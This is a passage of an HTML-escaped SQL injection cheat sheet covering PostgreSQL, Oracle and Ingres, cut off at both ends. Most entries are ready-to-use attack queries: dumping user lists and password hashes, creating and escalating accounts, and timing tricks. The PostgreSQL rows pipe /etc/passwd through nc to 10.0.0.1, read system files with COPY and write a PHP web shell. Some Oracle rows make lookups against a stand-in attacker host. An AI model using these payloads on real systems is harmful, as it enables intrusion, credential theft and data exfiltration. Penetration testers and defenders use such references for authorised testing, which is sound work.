 Databases&lt;br /&gt;&lt;/td&gt;&lt;td&gt;northwind&lt;br /&gt;model&lt;br /&gt;msdb&lt;br /&gt;pubs&lt;br /&gt;tempdb &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;PostgreSQL:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT version() &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 1; --comment&lt;br /&gt;SELECT /*comment*/1;&lt;br /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User&lt;br /&gt;
 &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT user; &lt;br /&gt;SELECT current_user; &lt;br /&gt;SELECT &lt;br /&gt;
session_user; &lt;br /&gt;SELECT usename FROM pg_user;&lt;br /&gt;SELECT &lt;br /&gt;
getpgusername();&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Users&lt;/td&gt;&lt;td&gt;SELECT usename &lt;br /&gt;
FROM pg_user  &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 usename, passwd FROM pg_shadow -- priv&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Password &lt;br /&gt;
Cracker&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://pentestmonkey.net/blog/cracking-postgres-hashes/&quot;&gt;MDCrack&lt;/a&gt;&lt;br /&gt;
  can crack PostgreSQL's MD5-based passwords.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List &lt;br /&gt;
Privileges&lt;/td&gt;&lt;td&gt;SELECT usename, usecreatedb, usesuper, usecatupd FROM&lt;br /&gt;
 pg_user&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List DBA Accounts&lt;/td&gt;&lt;td&gt;SELECT usename FROM &lt;br /&gt;
pg_user WHERE usesuper IS TRUE &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 current_database() &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Databases &lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
datname FROM pg_database&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, &lt;br /&gt;
pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND &lt;br /&gt;
(A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum&amp;gt;0) AND (NOT &lt;br /&gt;
A.attisdropped) AND (N.nspname ILIKE 'public') &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List &lt;br /&gt;
Tables &lt;/td&gt;&lt;td&gt;SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN &lt;br /&gt;
pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN &lt;br /&gt;
('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND &lt;br /&gt;
pg_catalog.pg_table_is_visible(c.oid)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Find Tables From &lt;br /&gt;
Column Name &lt;/td&gt;&lt;td&gt;&lt;p&gt;If you want to list all the table names that &lt;br /&gt;
contain a column LIKE '%password%':&lt;/p&gt;&lt;p&gt;SELECT DISTINCT relname FROM &lt;br /&gt;
pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE &lt;br /&gt;
(C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND &lt;br /&gt;
(A.atttypid=T.oid) AND (A.attnum&amp;gt;0) AND (NOT A.attisdropped) AND &lt;br /&gt;
(N.nspname ILIKE 'public') AND attname LIKE '%password%';&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select&lt;br /&gt;
 Nth Row&lt;/td&gt;&lt;td&gt;SELECT usename FROM pg_user ORDER BY usename LIMIT 1 &lt;br /&gt;
OFFSET 0; -- rows numbered from 0&lt;br /&gt;SELECT usename FROM pg_user ORDER 
BY usename LIMIT 1 OFFSET 1;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Char  &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 substr('abcd', 3, 1); -- returns c&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 6 &amp;amp; 2; -- returns 2&lt;br /&gt;SELECT 6 &amp;amp; 1; --returns 0&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;ASCII&lt;br /&gt;
 Value -&amp;gt; Char&lt;/p&gt;&lt;/td&gt;&lt;td&gt;SELECT chr(65);&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Char &lt;br /&gt;
-&amp;gt; ASCII Value&lt;/td&gt;&lt;td&gt;SELECT ascii('A');&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 CAST(1 as varchar);&lt;br /&gt;SELECT CAST('1' as int);&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String&lt;br /&gt;
 Concatenation&lt;/td&gt;&lt;td&gt;SELECT 'A' || 'B'; -- returnsAB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;If&lt;br /&gt;
 Statement&lt;/p&gt;&lt;/td&gt;&lt;td&gt;IF statements only seem valid inside functions, &lt;br /&gt;
so aren't much use for SQL injection.&amp;nbsp; See CASE statement instead.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Case&lt;br /&gt;
 Statement&lt;/td&gt;&lt;td&gt;SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- &lt;br /&gt;
returns A&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Avoiding Quotes &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
CHR(65)||CHR(66); -- returns AB&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time Delay&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 pg_sleep(10); -- postgres 8.2+ only&lt;br /&gt;CREATE OR REPLACE FUNCTION 
sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT;
 SELECT sleep(10); --priv, create your own sleep function.&amp;nbsp; Taken from &lt;a href=&quot;http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf&quot;&gt;here&lt;/a&gt;
 .&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make DNS Requests&lt;/td&gt;&lt;td&gt;&lt;p&gt;Generally not &lt;br /&gt;
possible in postgres.&amp;nbsp; However if &lt;a href=&quot;http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html&quot;&gt;contrib/dblink&lt;/a&gt;&lt;br /&gt;
  is installed (it isn't by default) it can be used to resolve hostnames&lt;br /&gt;
 (assuming you have DBA rights):&amp;nbsp;&lt;/p&gt;&lt;pre&gt;SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);&lt;/pre&gt;&lt;p&gt;Alternatively,&lt;br /&gt;
 if you have DBA rights you could run an OS-level command (see below) to&lt;br /&gt;
 resolve hostnames, e.g. &quot;ping pentestmonkey.net&quot;.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Command&lt;br /&gt;
 Execution&lt;/td&gt;&lt;td&gt;&lt;p&gt;CREATE OR REPLACE FUNCTION system(cstring) RETURNS&lt;br /&gt;
 int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv&lt;/p&gt;&lt;p&gt;SELECT&lt;br /&gt;
 system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as &lt;br /&gt;
postgres/pgsql OS-level user&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Local File Access&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;CREATE&lt;br /&gt;
 TABLE mydata(t text);&lt;br /&gt;COPY mydata FROM '/etc/passwd'; -- priv, can &lt;br /&gt;
read files which are readable by postgres OS-level user&lt;br /&gt;...' UNION &lt;br /&gt;
ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a&lt;br /&gt;
 time&lt;br /&gt;...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get &lt;br /&gt;
data back one row at a time ...&lt;br /&gt;DROP TABLE mytest mytest;&lt;/p&gt;&lt;p&gt;Write&lt;br /&gt;
 to a file:&lt;/p&gt;&lt;p&gt;CREATE TABLE mytable (mycol text);&lt;br /&gt;INSERT INTO &lt;br /&gt;
mytable(mycol) VALUES ('&amp;lt;? pasthru($_GET[cmd]); ?&amp;gt;');&lt;br /&gt;COPY &lt;br /&gt;
mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres &lt;br /&gt;
OS-level user.&amp;nbsp; Generally you won't be able to write to the web root, &lt;br /&gt;
but it's always work a try. &lt;br /&gt;-- priv user can also read/write files &lt;br /&gt;
by &lt;a href=&quot;http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf&quot;&gt;mapping&lt;br /&gt;
 libc functions&lt;/a&gt;  &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hostname, IP Address&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 inet_server_addr(); -- returns db server IP address (or null if using &lt;br /&gt;
local connection)&lt;br /&gt;SELECT inet_server_port(); -- returns db server IP 
address (or null if using local connection)&lt;br /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Create&lt;br /&gt;
 Users&lt;br /&gt;&lt;/td&gt;&lt;td&gt;CREATE USER test1 PASSWORD 'pass1'; -- priv&lt;br /&gt;CREATE
 USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at 
the same time&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Drop Users&lt;br /&gt;&lt;/td&gt;&lt;td&gt;DROP USER &lt;br /&gt;
test1; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make User DBA&lt;br /&gt;&lt;/td&gt;&lt;td&gt;ALTER USER&lt;br /&gt;
 test1 CREATEUSER CREATEDB; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Location of DB&lt;br /&gt;
 files&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT current_setting('data_directory'); -- priv&lt;br /&gt;SELECT
 current_setting('hba_file'); -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default/System&lt;br /&gt;
 Databases&lt;br /&gt;&lt;/td&gt;&lt;td&gt;template0&lt;br /&gt;template1&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;Oracle:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT banner FROM v$version WHERE banner &lt;br /&gt;
LIKE 'Oracle%'; &lt;br /&gt;SELECT banner FROM v$version WHERE banner LIKE 
'TNS%';&lt;br /&gt;SELECT version FROM v$instance;&lt;br /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 1 FROM dual -- comment&lt;br /&gt;-- NB: SELECT statements must have a FROM 
clause in Oracle so we have to use the dummy table name 'dual' when 
we're not actually selecting from a table.&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current &lt;br /&gt;
User &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT user FROM dual &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Users&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 username FROM all_users ORDER BY username;&lt;br /&gt;SELECT name FROM &lt;br /&gt;
sys.user$; -- priv &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 name, password, astatus FROM sys.user$ -- priv, &amp;lt;= 10g.&amp;nbsp; astatus &lt;br /&gt;
tells you if acct is locked&lt;br /&gt;SELECT name,spare4 FROM sys.user$ -- &lt;br /&gt;
priv, 11g &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Password Cracker&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://www.red-database-security.com/software/checkpwd.html&quot;&gt;checkpwd&lt;/a&gt;&lt;br /&gt;
  will crack the DES-based hashes from Oracle 8, 9 and 10. &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Privileges&lt;/td&gt;&lt;td&gt;SELECT * FROM session_privs; -- current privs&lt;br /&gt;SELECT
 * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's 
privs&lt;br /&gt; SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT &lt;br /&gt;
ANY DICTIONARY'; -- priv, find users with a particular priv&lt;br /&gt;SELECT 
GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List DBA&lt;br /&gt;
 Accounts&lt;/td&gt;&lt;td&gt;SELECT DISTINCT grantee FROM dba_sys_privs WHERE &lt;br /&gt;
ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current&lt;br /&gt;
 Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;SELECT global_name FROM global_name; &lt;br /&gt;SELECT 
name FROM v$database; &lt;br /&gt;SELECT instance_name FROM v$instance;&lt;br /&gt;SELECT&lt;br /&gt;
 SYS.DATABASE_NAME FROM DUAL; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Databases &lt;/td&gt;&lt;td&gt;&lt;p&gt;SELECT&lt;br /&gt;
 DISTINCT owner FROM all_tables; -- list schemas (one per user)&lt;br /&gt;-- &lt;br /&gt;
Also query TNS listener for other databases.&amp;nbsp; See &lt;a href=&quot;http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&quot;&gt;tnscmd&lt;/a&gt;&lt;br /&gt;
  (services | status).  &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 column_name FROM all_tab_columns WHERE table_name = 'blah'; &lt;br /&gt;SELECT 
column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 
'foo';  &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Tables &lt;/td&gt;&lt;td&gt;SELECT table_name &lt;br /&gt;
FROM all_tables;&lt;br /&gt;SELECT owner, table_name FROM all_tables;&lt;br /&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Find&lt;br /&gt;
 Tables From Column Name &lt;/td&gt;&lt;td&gt;SELECT owner, table_name FROM &lt;br /&gt;
all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are &lt;br /&gt;
upper case&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Row&lt;/td&gt;&lt;td&gt;SELECT username FROM &lt;br /&gt;
(SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; &lt;br /&gt;
-- gets 9th row (rows numbered from 1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Char &lt;br /&gt;
 &lt;br /&gt;&lt;/td&gt;&lt;td&gt; SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd &lt;br /&gt;
character, 'c'&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
bitand(6,2) FROM dual; -- returns 2&lt;br /&gt;SELECT bitand(6,1) FROM dual; -- &lt;br /&gt;
returns0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;ASCII Value -&amp;gt; Char&lt;/p&gt;&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
chr(65) FROM dual; -- returns A&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Char -&amp;gt; ASCII &lt;br /&gt;
Value&lt;/td&gt;&lt;td&gt;SELECT ascii('A') FROM dual; -- returns 65&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 CAST(1 AS char) FROM dual;&lt;br /&gt;SELECT CAST('1' AS int) FROM dual;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String&lt;br /&gt;
 Concatenation&lt;/td&gt;&lt;td&gt;SELECT 'A' || 'B' FROM dual; -- returns AB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;If&lt;br /&gt;
 Statement&lt;/td&gt;&lt;td&gt;BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE &lt;br /&gt;
dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT &lt;br /&gt;
statements &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Case Statement&lt;/td&gt;&lt;td&gt;SELECT CASE WHEN&lt;br /&gt;
 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1&lt;br /&gt;SELECT CASE WHEN 1=2 &lt;br /&gt;
THEN 1 ELSE 2 END FROM dual; -- returns 2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Avoiding &lt;br /&gt;
Quotes &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT chr(65) || chr(66) FROM dual; -- returns AB &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time&lt;br /&gt;
 Delay&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem &lt;br /&gt;
to embed this in a SELECT&lt;br /&gt;SELECT UTL_INADDR.get_host_name('10.0.0.1')
 FROM dual; -- if reverse looks are slow&lt;br /&gt;SELECT &lt;br /&gt;
UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if &lt;br /&gt;
forward lookups are slow&lt;br /&gt;SELECT UTL_HTTP.REQUEST('http://google.com')
 FROM dual; -- if outbound TCP is filtered / slow&lt;br /&gt;-- Also see &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc512676.aspx&quot;&gt;Heavy &lt;br /&gt;
Queries&lt;/a&gt;  to create a time delay&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make DNS &lt;br /&gt;
Requests&lt;/td&gt;&lt;td&gt;SELECT UTL_INADDR.get_host_address('google.com') FROM &lt;br /&gt;
dual;&lt;br /&gt;SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Command&lt;br /&gt;
 Execution&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql&quot;&gt;Java&lt;/a&gt;  &lt;br /&gt;
can be used to execute commands if it's installed.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql&quot;&gt;ExtProc&lt;/a&gt;&lt;br /&gt;
  can sometimes be used too, though it normally failed for me. :-(&lt;br /&gt; &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Local&lt;br /&gt;
 File Access&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql&quot;&gt;UTL_FILE&lt;/a&gt;&lt;br /&gt;
  can sometimes be used.&amp;nbsp; Check that the following is non-null:&lt;br /&gt;SELECT&lt;br /&gt;
 value FROM v$parameter2 WHERE name = 'utl_file_dir';&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql&quot;&gt;Java&lt;/a&gt;  &lt;br /&gt;
can be used to read and write files if it's installed (it is not &lt;br /&gt;
available in Oracle Express).&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hostname, IP Address&lt;/td&gt;&lt;td&gt;
 SELECT UTL_INADDR.get_host_name FROM dual;&lt;br /&gt;SELECT host_name FROM 
v$instance;&lt;br /&gt;SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP &lt;br /&gt;
address&lt;br /&gt;SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- &lt;br /&gt;
gets hostnames&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Location of DB files&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
name FROM V$DATAFILE;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default/System Databases&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SYSTEM&lt;br /&gt;SYSAUX&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;Ingres:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;select &lt;br /&gt;
dbmsinfo('_version');&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;SELECT 123;&lt;br /&gt;
 -- comment&lt;br /&gt; select 123; /* comment */ &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User&lt;br /&gt;
 &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select dbmsinfo('session_user');&lt;br /&gt;select 
dbmsinfo('system_user');&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Users&lt;/td&gt;&lt;td&gt;First &lt;br /&gt;
connect to iidbdb, then:&lt;br /&gt;select name, password from iiuser; &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Create&lt;br /&gt;
 Users&lt;br /&gt;&lt;/td&gt;&lt;td&gt;create user testuser with password = 'testuser';-- &lt;br /&gt;
priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;&lt;td&gt;First connect&lt;br /&gt;
 to iidbdb, then:&lt;br /&gt;select name, password from iiuser; &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Privileges&lt;/td&gt;&lt;td&gt;select dbmsinfo('db_admin');&lt;br /&gt;select 
dbmsinfo('create_table');&lt;br /&gt;select dbmsinfo('create_procedure');&lt;br /&gt;select
 dbmsinfo('security_priv');&lt;br /&gt;select dbmsinfo('select_syscat');&lt;br /&gt;select
 dbmsinfo('db_privileges');&lt;br /&gt;select dbmsinfo('current_priv_mask');&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 dbmsinfo('database');&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select column_name, column_datatype, table_name, &lt;br /&gt;
table_owner from iicolumns;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Tables &lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 table_name, table_owner from iitables;&lt;br /&gt;select relid, relowner, 
relloc from iirelation;&lt;br /&gt;select relid, relowner, relloc from &lt;br /&gt;
iirelation where relowner != '$ingres'; &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Row&lt;/td&gt;&lt;td&gt;&lt;p&gt;Astoundingly,&lt;br /&gt;
 this &lt;a href=&quot;http://community.ingres.com/forums/viewtopic.php?p=6050&quot;&gt;doesn't&lt;/a&gt;&lt;br /&gt;
 seem to be possible!&amp;nbsp; This is as close as you can get:&lt;/p&gt;&lt;p&gt;select top&lt;br /&gt;
 10 blah from table;&lt;br /&gt;select first 10 blah form table;  &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select&lt;br /&gt;
 Nth Char  &lt;br /&gt;&lt;/td&gt;&lt;td&gt;select substr('abc', 2, 1); -- returns 'b'&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise&lt;br /&gt;
 AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;The function &quot;bit_and&quot; exists, but seems hard to &lt;br /&gt;
use.&amp;nbsp; Here's an&lt;br /&gt;example of ANDing 3 and 5 together.&amp;nbsp; The result is a &lt;br /&gt;
&quot;byte&quot; type&lt;br /&gt;with value \001:&lt;/p&gt;&lt;p&gt;select substr(bit_and(cast(3 as &lt;br /&gt;
byte), cast(5 as byte)),1,1); &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;select&lt;br /&gt;
 cast(123 as varchar);&lt;br /&gt;select cast('123' as integer);&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String&lt;br /&gt;
 Concatenation&lt;/td&gt;&lt;td&gt;select 'abc' || 'def';&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time Delay&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;???&lt;/p&gt;&lt;p&gt;See&lt;br /&gt;
 &lt;a href=&quot;http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx&quot;&gt;Heavy&lt;br /&gt;
 Queries&lt;/a&gt;  article for some ideas. &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Installing Locally&lt;br /&gt;&lt;/td&gt;&lt;td&gt;The&lt;br /&gt;
 Ingres database can be downloaded for free from &lt;a href=&quot;http://esd.ingres.com/&quot;&gt;http://esd.ingres.com/&lt;/a&gt;&lt;br /&gt;A pre-built 
Linux-based Ingres Database Server can be download from &lt;a href=&quot;http://www.vmware.com/appliances/directory/832&quot;&gt;http://www.vmware.com/appliances/directory/832&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Database&lt;br /&gt;
 Client&lt;br /&gt;&lt;/td&gt;&lt;td&gt;TODO&lt;br /&gt;There is a client called &quot;sql&quot; which can be &lt;br /&gt;
used for local connections (at least) in the&amp;nbsp; database server package &lt;br /&gt;
above. &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Logging in from command line&lt;br /&gt;&lt;/td&gt;&lt;td&gt;$ su &lt;br /&gt;
